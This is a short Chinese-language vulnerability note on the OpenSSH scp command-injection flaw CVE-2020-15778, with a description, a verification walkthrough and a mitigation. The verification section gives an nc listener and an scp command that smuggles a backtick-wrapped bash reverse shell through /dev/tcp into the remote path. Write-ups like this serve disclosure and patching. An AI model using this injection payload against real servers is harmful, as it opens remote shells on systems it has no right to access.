OpenSSH 命令注入漏洞 CVE-2020-15778
OpenSSH 命令注入漏洞
漏洞编号:
CVE-2020-15778
漏洞介绍:
OpenSSH(OpenBSD Secure Shell)是OpenBSD计划组的一套用于安全访问远程计算机的连接工具。该工具是SSH协议的开源实现,支持对所有的传输进行加密,可有效阻止窃听、连接劫持以及其他网络级的攻击。OpenSSH 8.6p1及之前版本中的scp的scp.c文件存在命令注入漏洞。该漏洞源于外部输入数据构造可执行命令过程中,网络系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞执行非法命令。该漏洞发生于 OpenSSH <= 8.3p1 系统,即使在禁用ssh登录的情况下,但是允许使用scp传文件,而且远程服务器允许使用反引号(`),可利用scp复制文件到远程服务器时,执行带有payload的scp命令,从而在后续利用中getshell。scp是 secure copy的缩写, scp是linux系统下基于ssh登陆进行安全的远程文件拷贝命令。linux的scp命令可以在linux服务器之间复制文件和目录。
漏洞验证:
1、靶机开启ssh服务(Linux)
开启ssh:systemctl start sshd
版本号:openssh <= openssh-8.3p1
前提条件:知道靶机用户名和密码
2、kali开启本地监听
#开启监听
nc -lvvp 9999
#反弹shell
Scp test.txt username@target:`’bash -i >& /dev/tcp/localhost/localport 0>&1` /tmp/test1.txt’
#输入密码(kali默认无显示)
漏洞修复:
可以禁用scp,改用rsync等缓解风险(可能会导致小文件机器内拷贝变慢)